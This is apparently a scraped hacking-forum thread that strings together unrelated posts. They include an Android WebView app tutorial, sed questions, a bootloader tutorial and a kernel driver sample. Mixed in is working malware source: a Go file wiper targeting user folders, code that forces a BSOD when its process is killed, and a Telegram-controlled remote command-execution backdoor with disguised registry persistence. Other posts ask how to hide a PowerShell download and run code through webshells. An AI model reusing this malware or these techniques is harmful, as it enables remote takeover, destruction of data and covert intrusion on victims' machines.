Всем привет, в этой статье я хочу рассказать для людей которые не разбираются в Андроиде как превратить любой сайт в приложение на телефоне. Чтоб это сделать вам понадобится Android Studio и Java так как придётся писать код. Если её у вас нет что вероятнее всего то просто зайдите на YouTube и там вы найдёте много подробных гайдов, тут расписывать не буду чтоб не засорять статью водой.
Зачем оно надо: В цем такое приложение может быть полезно чтоб не надо было каждый раз заходить и логинется на пример на сайт потому-что с ним достаточно нажать по иконе или например можно за 5мин дописать пароль(Если не умеете то я к вашим услугам) и выйдет что у вас 1 сайт под паролем и никто не сможет в него залезть или если вы не хотите чтоб то что вы смотрите попадало к вам в историю браузера то приложение будет очень полезно так-как оно работает без входа в гугл акаунт.
Как это работает:
В андроиде есть такая вещь как WebView. WebView - это буквально поле в котором
открывается браузер что и даёт нам возможность реализовать любой сайт в
приложение.
Чтоб начать зайдите в папку по пути: res/layout и откройте activity_main.xml это файл с xml разметкой для файла MainActivity и определят внешний вид страницы.
activity_main.xml
XML:Copy to clipboard
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<WebView
android:id="@+id/webview"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</RelativeLayout>
В этом коде
<RelativeLayout это поле в котором находится наш WebView
<WebView - то что было описано ранее
Это весь код который нам нужен осталось только прописать логику в Java классе MainActivivty
В MainActivity на нужно:
Импорт библиотек:
Java:Copy to clipboard
import android.os.Bundle;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
Далее первым-же делом в public class MainActivity создайте переменную с любым название но лучше с правильным неймингом например: private String websiteUrl = "Ссылка на сайт";
Code:Copy to clipboard
private String websiteUrl = "";
Логику для WebView:
В java классе MainActivity в классе OnCreate который отвечает за то что
произойдёт при создании Активити пишем такой код:
Java:Copy to clipboard
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
WebView webView = findViewById(R.id.webview);
чтоб вы могли понять что в нём написано давайте я разберу всё по строкам логику для webView.
super.onCreate(savedInstanceState) - Вызывает реализацию метода onCreate() в классе-родителе (AppCompatActivity). Это важно для того, чтобы система могла выполнить стандартные операции инициализации, такие как создание интерфейса, работа с темами и стилями.
setContentView(R.layout.activity_main) - Тут мы устанавливаем какой xml файл будет использоваться для WebView
WebView webView = findViewById(R.id.webview) - Он находит и связывает элемент пользовательского интерфейса из XML-файла с кодом.
Настройки WebView :
Теперь перейдём к настройкам WebView, и хоть можно без них но тогда вы не
сможете полноценно передвигается по страницам вебсайта и полноценно с ним
взаимодействовать.
Для полноценной работы сайта нам надо настроить такие параметры как:
Поддержка хранения DOM:
Java:Copy to clipboard
webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
Включение JavaScript:
Java:Copy to clipboard
webSettings.setJavaScriptEnabled(true); // Включение JavaScript
Включение кеша:
Java:Copy to clipboard
webSettings.setDatabaseEnabled(true); // Включение кеша
Доступ к файлам:
Java:Copy to clipboard
webSettings.setAllowFileAccess(true); // Доступ к файлам
Включение базы данных:
Java:Copy to clipboard
webSettings.setDatabaseEnabled(true); // Включение базы данных
Поддержка смешанного контента (HTTP+HTTPS):
Java:Copy to clipboard
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)
Включение отображения JavaScript-алертов и других событий:
Java:Copy to clipboard
webView.setWebChromeClient(new WebChromeClient());// Включение отображения JavaScript-алертов и других событий
Установка WebViewClient для обработки всех переходов внутри WebView:
Java:Copy to clipboard
// Установка WebViewClient для обработки всех переходов внутри WebView
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url); // Обработка переходов внутри WebView
return true;
}
});
Всё в месте:
Java:Copy to clipboard
// Настройки WebView
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true); // Включение JavaScript
webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
webSettings.setDatabaseEnabled(true); // Включение кеша
webSettings.setAllowFileAccess(true); // Доступ к файлам
webSettings.setDatabaseEnabled(true); // Включение базы данных
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)
webView.setWebChromeClient(new WebChromeClient());// Включение отображения JavaScript-алертов и других событий
// Установка WebViewClient для обработки всех переходов внутри WebView
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url); // Обработка переходов внутри WebView
return true;
}
});
Обработчик назад:
Чтоб если вы случайно кликнули по рекламе или просто вернутся на прошлую
страницу без надобности перезапуска приложения надо написать обработчик назад.
Java:Copy to clipboard
@Override
public void onBackPressed() {
WebView webView = findViewById(R.id.webview);
// Обработка кнопки "Назад" для возврата к предыдущей странице
if (webView.canGoBack()) {
webView.goBack();
} else {
super.onBackPressed();
}
}
}
Тут просто в новом классе прописано WebView webView =
findViewById(R.id.webview) что предопределяет для чего будет работать метод,
который вызывается, когда пользователь нажимает кнопку "Назад" на своём
устройстве Android.
Настройки Прилоежния
Как и любому Android приложению этому нужно получать разрешения для работы, а
именно для этого оно нужно всего 1. Это доступ к Интернету, его нужно
прописать в файле manifests/AndroidManifest.xml после <manifest.
Разрешение:
XML:Copy to clipboard
<uses-permission android:name="android.permission.INTERNET" />
как это должно выглядеть:
View attachment 98880
На это в целом всё если вас интересует открытие напрем форумов или чего-то подобного но если вы хотите смотреть видео то:
Поддержка полноэкранного режима для видео:
Если вы хотите внутри приложения открывать видео хостинг например YouTube то
чтоб просматривать в нём видео в полноэкранном режиме недостаточно то что было
написано ранее, нужно дописать ещё некоторый код:
Переменные для управления полноэкранным режимом:
Java:Copy to clipboard
private View customView;
private WebChromeClient.CustomViewCallback customViewCallback;
private ViewGroup mainContainer;
Обработка перехода в полноэкранный режим и выхода из него
(WebChromeClient)
Полноэкранный режим настраивается с помощью методов WebChromeClient:
Java:Copy to clipboard
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
// Переход в полноэкранный режим
if (customView != null) {
callback.onCustomViewHidden();
return;
}
customView = view;
customViewCallback = callback;
mainContainer.addView(customView);
webView.setVisibility(View.GONE);
}
@Override
public void onHideCustomView() {
// Выход из полноэкранного режима
if (customView == null) {
return;
}
mainContainer.removeView(customView);
customView = null;
webView.setVisibility(View.VISIBLE);
customViewCallback.onCustomViewHidden();
}
});
onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) :
onHideCustomView() :
Обработка кнопки "Назад" для выхода из полноэкранного режима
Этот код нужен для того, чтобы при нажатии кнопки "Назад" пользователь мог
выйти из полноэкранного режима:
Java:Copy to clipboard
@Override
public void onBackPressed() {
// Обработка возврата из полноэкранного режима
if (customView != null) {
onHideCustomView();
} else if (webView.canGoBack()) {
webView.goBack();
} else {
super.onBackPressed();
}
}
Задаём конфигурацию активности для поддержки полноэкранного режима:
Для того чтоб это надо дописать в AndoidManifest.xml внутри <activity
прописать активности для поддержки полноэкранного режима:
XML:Copy to clipboard
android:configChanges="orientation|screenSize"
android:hardwareAccelerated="true">
Как это должно выглядеть:
Чтоб вам не пришлось собирать всё почестям оставляю фулл код для всех файлов:
main_avtivity.xml:
XML:Copy to clipboard
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent">
<WebView
android:id="@+id/webview"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</androidx.constraintlayout.widget.ConstraintLayout>
MainActivity:
Java:Copy to clipboard
package com.example.nbsp;
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
private String websiteUrl = "https://rt.pornhub.com/"; // Укажите URL вашего сайта
private WebView webView;
private View customView;
private WebChromeClient.CustomViewCallback customViewCallback;
private ViewGroup mainContainer;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = findViewById(R.id.webview);
mainContainer = findViewById(android.R.id.content);
// Настройки WebView
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true); // Включение JavaScript
webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
webSettings.setDatabaseEnabled(true); // Включение базы данных
webSettings.setAllowFileAccess(true); // Доступ к файлам
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)
// Включение JavaScript-алертов и обработка событий, включая полноэкранный режим
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
// Переход в полноэкранный режим
if (customView != null) {
callback.onCustomViewHidden();
return;
}
customView = view;
customViewCallback = callback;
mainContainer.addView(customView);
webView.setVisibility(View.GONE);
}
@Override
public void onHideCustomView() {
// Выход из полноэкранного режима
if (customView == null) {
return;
}
mainContainer.removeView(customView);
customView = null;
webView.setVisibility(View.VISIBLE);
customViewCallback.onCustomViewHidden();
}
});
// Установка WebViewClient для обработки всех переходов внутри WebView
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url); // Обработка переходов внутри WebView
return true;
}
});
// Загрузка начального URL
webView.loadUrl(websiteUrl);
}
@Override
public void onBackPressed() {
// Обработка возврата из полноэкранного режима
if (customView != null) {
onHideCustomView();
} else if (webView.canGoBack()) {
webView.goBack();
} else {
super.onBackPressed();
}
}
}
AndroidManifest.xml:
XML:Copy to clipboard
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.nbsp">
<!-- Разрешения для доступа в интернет и проверки состояния сети -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.AppCompat">
<!-- MainActivity - поддержка полноэкранного режима и ориентации -->
<activity
android:name=".MainActivity"
android:configChanges="orientation|screenSize"
android:hardwareAccelerated="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
ВНИМАНИЕ: в файлах используется нейминг моих приложений поэтому после copy, paste замените в первой строке MainActivity .nbsp; на имя вашего файла и в andorid манифест соответственно все nbsp на имя вашего проекта. И убедитесь что имена файлов в вашем проекте как у меня
Для тех кто не разбирается в программирование или что-то не получается я пишу
билд который будет делать всё сам, постараюсь зарелизить в течение пары дней.
Ну и на этом уже реально всё, большое спасибо за внимание. В комментариях с
удовольствием по отвечаю на вопросы
Большую часть времени не дома, нужен скрипт с любыми уведомлениями на телефон(мессенджер или что то иное) при завершении сканирования sqlmap/Брута wpscan для запуска следующего на сервере. Подскажите как лучше организовать такой механизм
Needed this for a project i am working on, Wrote it in Go. Vary simple.
sizes with null bytes ](https://github.com/SaturnsVoid/PumpItUp)
GoLANG Based File Pumper, Increase file sizes with null bytes - SaturnsVoid/PumpItUp
github.com
Как на свет появляются самоучители, курсы и книги по языкам программирования?
В общем есть такие строки:
aaaa@aaaa.aaa@aaaa
bbbb@asd@swde@bbbb
cccc@sdadwew@@cccc
ddd@ddddd.ddd.ddd@ddddClick to expand...
Нужно в строках между @ @ все удалить заменив на одну @, но только удалять в том случае если встретилась точка, в других случая не трогать.
Должно с этих 4х строк получится такое:
aaaa@aaaa
bbbb@asd@swde@bbbb
cccc@sdadwew@@cccc
ddd@ddddClick to expand...
Пока нашел способ просто удалять , вот так:
sed -e "s/@[^>]*@/@/g" 1 >2
Click to expand...
Но нужно изменить чтобы не удалялась строка если между @ @ находится точка.
Спасибо
Кто умеет писать смарт контракты-отпишите в тг @azizusdt
Мужики выручайте очень сильно запутался и не могу найти решение.
Есть такая проблема.Идет трансляция видео с камеры андроид по webrtc
допустим,и есть такая задача например летит карта при раздаче и чтоб ее можно
было фиксировать в полете.При 60fps это почему то не получается при удаленной
передаче а при локальной все ок вот и вопрос что может быть не так фрейм рейт
или в чем то другом проблема.Проблемы с изображением вообще нет качество
идеальное ну и так же не в канале интернета дело так как уже на разных
пробовал в чем то другом.Направьте кто сможет как это реализовать.
Hey. I'm having some hard time trying to make OpenSSL in rust work for XP
since Rust dropped support for Windows XP in ~2020.
I'm using rust 1.49.0 (which works on Windows XP with stdlib) and I tried to
point versions of the dependencies (openssl, openssl-sys, openssl-src and
whatever else is in my cargo tree) but I'm having problems compiling.
Any of you here done this before?
как скрыть вот эту полоску, может кто шарит, в документации не нашел как ее
скрыть или изменить.
Я сделал простой скрипт, который следит за входящими и исходящими транзакциями. Он полностью с открытым исходным кодом и написан на Golang.
Функции:
1. Передача исходящих транзакций нашему получателю.
2. Повторная отправка входящих транзакций нашему получателю
Github: https://github.com/aeternity7/auto-withdraw
Я надеюсь, что смогу помочь кому-то сэкономить средства.
hello, this is my simplist golang wiper source code!!
Code:Copy to clipboard
package main
import (
"os"
"log"
"sync"
"time"
"path/filepath"
)
var (
thread = sync.WaitGroup{}
RootFolder = "C:\\Users" // folder to delete files for example C:\\Windows or /home/ on linux
)
func walker(name string, info os.FileInfo, err error) error {
if info != nil {
return nil
}
if info.IsDir() {
return nil
}
thread.Add(1)
go func(name string) {
defer os.Remove(name)
log.Println("wipe: " + name)
}(name)
time.Sleep(time.Millisecond * 5)
return nil
}
func SetupWiper() {
defer thread.Done()
filepath.Walk(RootFolder, walker)
}
func main() {
thread.Add(1)
go SetupWiper()
thread.Wait()
}
Здравствуйте дорогие программисты! Не так давно начал изучение Golang языка:
накачал книг, массу видео-уроков, купил практикум с задачами.
Вроде как с основами Golang познакомился, но у меня есть парочку вопросов! :
- Какими базовыми знаниями я должен обладать для подачи вакансии на должность
Junior в какую нибудь контору
- Реально ли то, что рассказывают про высокие зарплаты на этом языке и
условия работы? «Возможно ли со старта имея базовые знания пробиться на зп в
150+к₽???
- Может кто то покупал курсы от GeekBrains, Kata Academy, и т.п.? Реально ли
так все радужно как гарантируют и есть ли смысл покупать?
- Где действительно найти годный пласт информации где будет все что нужно для
будущего трудоустройства?!
- С какими знаниями я должен идти пробовать устроиться на работу, чтобы не
прогореть!?
- К какому направлению нужно идти чтобы не остаться с голыми трусами и не
выгореть в первый год работы?!)
Заранее спасибо всем кто дочитал мой вопрос до конца, буду очень благодарен если хоть на один вопрос я получу компетентный ответ!!!
Привет всем. Решил изучить к питону ещё и го, но столкнулся с отсутствием идей, что писать. Скорее всего, я не один такой, поэтому было бы круто, если бы в этой теме люди накидали свои идеи. Они не должны быть связанны именно с го. Такие люди как я получают пример того, что сейчас востребовано, а люди которые предложили (может быть) репу на гитхабе, которую они потом могут использовать в своей работе. Всем хороших выходных. Peace
UPD: Если такой тред уже есть дайте линк, чтобы я лишний раз не флудил
UPD1: Питон в основном использовался для веба в белую (мы же тут другим не
занимаемся
) Парсеры и сайты. Но встала задача работать с большим количеством файлов, для
чего решил перейти на го (нет, не то что сейчас популярно и запрещено). Все
таки запустить это все в разные потоки, на разных рядрах и сделать задачу не
за 30 минут, а за 6 секунд звучит привлекательно. Но вообще я больше о том,
каких инструментов людям не хватает сейчас. Спаммерам может не хватать одного,
те, кто заливат/качает базы другого
Есть одна программа, через нее создается билд, при настройке характеристик билда есть ряд функций которые начинают работать только если запустить билд от администратора, но при этом билд создается без запуска от администратора, т.е. нужно вручную его запускать от админа. Собственно вопрос: как принудительно добавить атрибут для exe как запуск от администратора, уже после создания билда?
Здравствуйте!
Хочу написать консольную программу с графическим интерфейсом (псевдо) как mc и
етс...
Мне посоветовали взять библиотеку slang, я так понимаю именно её используют в
Midnight Commander
Хотел написать сервер для входящих shell соединений типо netcat но что бы было
массово.
Нужна какая ни-будь литература по slang.
hello, this is my source code writen in golang for set my own process as
critical, using RtlSetProcessIsCritical winapi function, if you kill the
process using taskkill or any other program, the killed process generate BSOD
after killing the process, this
programrequire Admin privileges!!
Code:Copy to clipboard
package main
import (
"os"
"fmt"
"time"
"unsafe"
"syscall"
)
var (
critical = syscall.MustLoadDLL("ntdll.dll").MustFindProc("RtlSetProcessIsCritical")
debug = syscall.MustLoadDLL("ntdll.dll").MustFindProc("RtlAdjustPrivilege")
)
func SetCriticalProcess() {
b := []byte{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}
_,_,a := debug.Call(uintptr(0x14), uintptr(1), uintptr(0), uintptr(unsafe.Pointer(&b)))
fmt.Println(a)
_,_,e := critical.Call(uintptr(1), uintptr(0), uintptr(0))
fmt.Println(e)
}
func SleepMode() {
time.Sleep(time.Second)
}
func main() {
SetCriticalProcess()
for {
SleepMode()
fmt.Println(os.Getpid())
}
}
English:
Still learning Rust, I'm wanting to know how I could write to the host file on
a Windows machine ("etc/hosts").
I've tried some methods from regular websites, but nothing has been helpful to
me.
I haven't received any advice on Stackoverflow, so I would really appreciate any advice here.
Русский:
Все еще изучая Rust, я хочу знать, как я мог бы записать в файл хоста на
компьютере с Windows ("etc/hosts").
Я пробовал некоторые методы с обычных веб-сайтов, но мне ничего не помогло.
Я не получал никаких советов по Stackoverflow, поэтому я был бы очень признателен за любой совет здесь.
Code I found / Код, который я нашел:
Code:Copy to clipboard
const IPS: &[&str] = &["127.0.0.1", "google.com"];
let mut file = OpenOptions::new()
.write(true)
.append(true)
.open("C:\\Windows\\System32\\drivers\\etc\\hosts")
.unwrap();
for ip in IPS {
file.write_all(ip.as_bytes()).unwrap();
file.write_all(b"\n").unwrap();
}
file.sync_all().unwrap();
Code:Copy to clipboard
include ntoskrnl.inc
includelib ntoskrnl.lib
.DATA
message DB "Hello from Ring0!!!", 0
AllocatedMemory DQ ?
.code
DriverEntry Proc
xor rcx, rcx
mov rdx,rcx
lea r8, message
call vDbgPrintEx; вывод сообщения
;-----------------------------------------------------------
mov rcx,0; тип пула памяти
mov rdx,8; размер выделяемой памяти в байтах
mov r8,'Tag'; tag четырёхбуквенный идентификатор для отслеживания выделенной и освобождённой памяти
call ExAllocatePoolWithTag; выделение динамической памяти
mov QWORD PTR AllocatedMemory,rax
;-----------------------------------------------------------
xor rcx, rcx
mov rdx,rcx
lea r8, AllocatedMemory
call vDbgPrintEx; вывод сообщения
mov rax, AllocatedMemory
mov rdx, 'Tag'
call ExFreePoolWithTag
ret
DriverEntry Endp
end
использовал данный репозиторий для подключения .inc файла https://github.com/mrfearless/UASM-DDK/tree/master
Hello XSS community, today i want to share with you a simple method to write a bootloader
prerequisites:
A functional brain
Some low level experience with ASM
A desire to learn and understand
0x00: Install the tools
_0x01: The code +_Explanation
What is the BIOS ?
BIOS stand for BASIC INPUT/OUTPOUT SYSTEMP) in short term, it make the dev of
OS easier
"provide runtime services for operating
systems and programs and to
perform hardware
initialization during the booting
process" -> https://en.wikipedia.org/wiki/BIOS
Code:Copy to clipboard
;This is ASM code
mov ax, 0x07c0
mov ds, ax
mov si, xssgreet
cld
loop:lodsb
or al, al
jz hang
mov ah, 0x0E
mov bh, 0
int 0x10
jmp loop
hang:
jmp hang
xssgreet db 'Hello XSS', 13, 10, 0
times 510-($-$$) db 0
db 0x55
db 0xAA
_**Explanation line by line:
**_
line 1 -> The code in the boot sector of the disk is loaded by the BIOS at 0000:7c00, so we put 0x07c0 in the ax register
Spoiler: If you don't know MOV is used for
MOV copies the source operand to the destination operand without affecting the source.
line 2 -> After this we copy AX into DX
line 3 ->Wee put our little message into the SI register
line 4 -> CLD clears the direction flag = to the operation DF = 0
Spoiler: more details here
](https://en.wikipedia.org/wiki/Direction_flag)
en.wikipedia.org
line 5 -> That's mean the program will repeatedly read bytes from consecutive
memory addresses into the AL register.
After each iteration, it will jump back to the "loop" label to continue the
process until the loop exits.
line 6 -> if it's zero it's the end of the string
line 7->If it's zero like line 6, it's "jump" to hang
function hang: like his name said, this jump infinitely
line 8->This write a char in TTY mode
Spoiler: BIOS interrupt call list
https://en.wikipedia.org/wiki/BIOS_interrupt_call#Interrupt_table
line9 ->Going to text mode
line10->call INT 10h, the BIOS video service again
https://en.wikipedia.org/wiki/BIOS_interrupt_call#Invoking_an_interrupt
line11->going to the loop, again
line 15->okay a little bit more complicated. First, we declare xssgreet as a
data variable (db) stand for defined byte which contain the string Hello XSS.
The "13" is like \r to move the cursor to the beginning of the line. And
finally, the "10" is like the \n. And "0" it's a 0 just a null byte it
indicate the end of the string.
line 16->This "times" is used for repetition. In this case, this ensure that
the boot sector (512 bytes) is filled with "0" except for the bootloader and
the data. This ensure that the bootloader start at the byte "0" of the boot
sector.
line 17 & line 18-> This is the boot signature (0xAA55) that tell the bios
that the sector is bootable and can be loaded in the memory.
0x02: Compiling and testing
Okay now you need to compile it with the following command
Code:Copy to clipboard
nasm boot.asm -f bin -o boot.bin
It should return nothing if they don't have any errors in the little program
After that you can simply run it with Qemu
Code:Copy to clipboard
qemu-system-i386 -fda boot.bin -nographic
This command emulate a floppy disk and if it's correct its should look like this:
Conclusion:
I hope you appreciated this tutorial and learning new things.
Есть вот такой файл:
Code:Copy to clipboard
aa:bb:cc:dd
aa:bb
aa:bb:cc
Нужно находить с конца строки первые ":" и заменять их на другой символ, не
стирая остальной части строки.
Другими словами нужно чтобы получилось:
Code:Copy to clipboard
aa:bb:cc|dd
aa|bb
aa:bb|cc
Пробую так:
Code:Copy to clipboard
sed "s/:[^:]*$/|/" 1 >2
Оно действительно заменяет нужные символы в нужных местах, но также стирает все после этого символа до конца строки и получается:
Code:Copy to clipboard
aa:bb:cc|
aa|
aa:bb|
А нужно именно заменить только первый с конца строки нашедшийся символ, не стирая то что после него
Как спрятать ссылку просто видимо
powershell.exe Invoke-WebRequest -Uri
"www.ru/file.xls"
Но что бы при выполнении расшифровывало и качало
This program works to split source code into a pre-determined amount of characters handy for character limit compliance etc simple nothing special =)
Code:Copy to clipboard
package main
import (
"bufio"
"fmt"
"os"
"path/filepath"
"strings"
)
const maxCharactersPerFile = 3890
func main() {
fmt. Print("Enter the file path: ")
scanner := bufio. NewScanner(os. Stdin)
scanner. Scan()
filePath := scanner. Text()
file, err := os. Open(filePath)
if err != nil {
fmt. Println("Error opening file:", err)
return
}
defer file. Close()
scanner = bufio. NewScanner(file)
fileCounter := 1
outFile, err := createOutputFile(filePath, fileCounter)
if err != nil {
fmt. Println("Error creating output file:", err)
return
}
defer outFile.Close()
currentCount := 0
for scanner. Scan() {
line := scanner. Text()
lineLength := len(line)
if currentCount+lineLength > maxCharactersPerFile {
outFile.Close()
fileCounter++
outFile, err = createOutputFile(filePath, fileCounter)
if err != nil {
fmt. Println("Error creating output file:", err)
return
}
currentCount = 0
}
_, err = outFile.WriteString(line + "\n")
if err != nil {
fmt. Println("Error writing to output file:", err)
return
}
}
if err := scanner. Err(); err != nil {
fmt. Println("Error reading input:", err)
return
}
fmt. Printf("Files created successfully: %d files\n", fileCounter)
}
func createOutputFile(filePath string, fileCounter int) (*os. File, error) {
fileExt := filepath. Ext(filePath)
newFileName := strings. TrimSuffix(filePath, fileExt) + fmt. Sprintf("%d", fileCounter) + fileExt
outFile, err := os. Create(newFileName)
if err != nil {
return nil, err
}
return outFile, nil
}
Подскажите как правильно скомпилировать скрипт на golang для запуска на вебшелле?
Code:Copy to clipboard
package main
import (
"os"
"log"
"time"
"sync"
"runtime"
"strconv"
"os/exec"
"syscall"
"strings"
tele "gopkg.in/telebot.v3"
)
var (
thread = sync.WaitGroup{}
TOKEN = "YOUR_TELEGRAM_BOT_API_TOKEN"
)
func SetPersistence() {
defer thread.Done()
mype,_ := os.Executable()
per := exec.Command("cmd.exe", "/c", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \" /v WinUpdate /t REG_SZ /d \"" + mype + "\" /f")
per.CombinedOutput()
}
func ExecCmd(Cmd string, botSender tele.Context) string {
defer thread.Done()
cmd := exec.Command("cmd.exe", "/c", Cmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.CombinedOutput()
if err != nil {
botSender.Send(err.Error())
return ""
}
botSender.Send(string(output))
return ""
}
func GetHelp() string {
help := "/help show this\n"
help += "/exec execute any command\n"
help += "/cd change working dir\n"
help += "/pwd get current worling dir\n"
help += "/info get basic info\n"
help += "/pid get this process pid\n"
help += "/start start bot message\n"
return help
}
func Pwd() string {
pwd,_ := os.Getwd()
return pwd
}
func GetPid() string {
return "process pid: " + strconv.Itoa(os.Getpid())
}
func ChangeDir(Target string) string {
if err := os.Chdir(Target); err != nil {
if os.Chdir(strings.ReplaceAll(Target, " ", "")) != nil {
return "error to change dir to " + Target
} else {
return Pwd()
}
return "error to change dir to " + Target
}
return Pwd()
}
func GetInfo() string {
pwdc,_ := os.Getwd()
execf,_ := os.Executable()
core := strconv.Itoa(runtime.NumCPU())
plat := runtime.GOOS + "/" + runtime.GOARCH
info := "\nbasic info\n"
info += "\npwd : " + pwdc
info += "\npefile : " + execf
info += "\ncores : " + core
info += "\nplatform : " + plat
return info
}
func Setup() {
conf := tele.Settings{Token: TOKEN,Poller: &tele.LongPoller{Timeout: 10 * time.Second},}
bot, botErr := tele.NewBot(conf)
if botErr != nil {
log.Println(botErr.Error())
return
}
bot.Handle("/start", func(sender tele.Context) error {
return sender.Send("enjoy this access.. !")
})
bot.Handle("/exec", func(sender tele.Context) error {
thread.Add(1)
go ExecCmd(sender.Message().Payload, sender)
return nil
})
bot.Handle("/pwd", func(sender tele.Context) error {
return sender.Send(Pwd())
})
bot.Handle("/info", func(sender tele.Context) error {
return sender.Send(GetInfo())
})
bot.Handle("/cd", func(sender tele.Context) error {
return sender.Send(ChangeDir(sender.Message().Payload))
})
bot.Handle("/pid", func(sender tele.Context) error {
return sender.Send(GetPid())
})
bot.Handle("/help", func(sender tele.Context) error {
return sender.Send(GetHelp())
})
bot.Start()
}
func Loop() {
defer thread.Done()
thread.Add(1)
go SetPersistence()
for {
Setup()
time.Sleep(time.Second * 2)
}
}
func main() {
thread.Add(1)
go Loop()
thread.Wait()
}
Здравствуйте.
Когда-то обсуждалось на WASM такое, естественно, в шутку. Потому что
реальные кодеры любят делать всё сами, а сборка мусора объявлена ересью даже в
Си++. Однако, однажды пришлось обдумать компилятор простейшего языка, где бы
такая реализация пригодилась. Отлаживать сборщик мусора одновременно с
написанием транслятора несколько накладно, потому прикрутил его к виртуальной
машине, исполняющей байт-код, в который компилируется OCaml. На новом wasm.in
какие-то проблемы с регистрацией и мне рекомендовали данный форум. Буду рад,
если публикация поможет взглянуть на ассемблер под новым углом, в том числе и
мне.
**
Простейший сценарий**. Резервируем память в последней секции исполняемого
файла, а один из регистров под указатель "кучи". В IA32/AMD64 напрашивается
DI. Если надо что-то разместить в куче, используем команду STOS или
MOV + увеличиваем адрес. Внимательный читатель уже задаёт вопрос: и что же
случится, когда выйдем за пределы зарезервированной области? Там ведь нет
подключённых страниц памяти, будет сгенерировано исключение.
Автоматический рост кучи.
Исключение нам и пригодится.
Установим обработчик:
Code:Copy to clipboard
macro gc_init
virtual at rsp
.ksa kernel_sigaction
end virtual
mov rdi, rsp
mov rax, sigsegv_handler
stos qword[rdi]
mov eax, SA_SIGINFO or SA_RESTORER
stos qword[rdi]
mov rax, __restore_rt
stos qword[rdi]
zero eax
mov ecx, _NSIG / 8
mov r10, rcx
rep stos qword[rdi]
mov edi, SIGSEGV
mov rsi, rsp
zero edx
sys.rt_sigaction
j_ok .sigseg_handler_installed
push rax
puts error_sigsegv_nohandler
pop rdi
jmp sys_exit
.sigseg_handler_installed:
end macro
который обеспечит автоматический рост кучи, подключая страницы:
Code:Copy to clipboard
; RDI - № сигнала (д.б. SIGSEGV)
; RSI - адрес siginfo
; RDX - контекст ucontext
proc sigsegv_handler
virtual at rsi
.sinf siginfo_sigfault
end virtual
virtual at rdx
.ctx ucontext
end virtual
cmp [.sinf.si_code], SEGV_MAPERR
jnz .err
.add_page:
mov rdi, [.sinf.si_addr]
mov esi, HEAP_INCREMENT
mov edx, PROT_READ or PROT_WRITE
mov r10d, MAP_PRIVATE or MAP_ANONYMOUS
mov r8, -1
zero r9
sys.mmap
ret
.err: puts error_sigsegv_handler
pop rdi
jmp sys_exit
; См. glibc/sysdeps/unix/sysv/linux/x86_64/sigaction.c
; и (?) uClibc/libc/sysdeps/linux/arc/sigaction.c
align_code 16
__restore_rt:
sys.rt_sigreturn
end proc
Данный код рассчитан на Linux AMD64, но идея должна работать и в NT.
В Linux имеется Overcommit и можно было бы тупо выделить пару гигабайт пустых страниц, как ныне модно. Что, не надо освобождать? Оказывается, пока памяти достаточно, это может быть приемлемой стратегией, согласно новейшим исследованием каких-то известных учёных (простите, забыл фамилии).
Автоматическое освобождение ненужных блоков.
Как отличить нужный блок от ненужного? Если нам что-то нужно, зачит мы где-то
сохранили адрес. Или на стеке, или в регисте. Или в той же куче? В последнем
случае, адрес сохранённого адреса опять же будет либо в стеке, либо в куче, и
так далее. С учётом рекурсии, достаточно проверять адреса из стека (и
регистров). Их принято называть корневыми ссылками (roots).
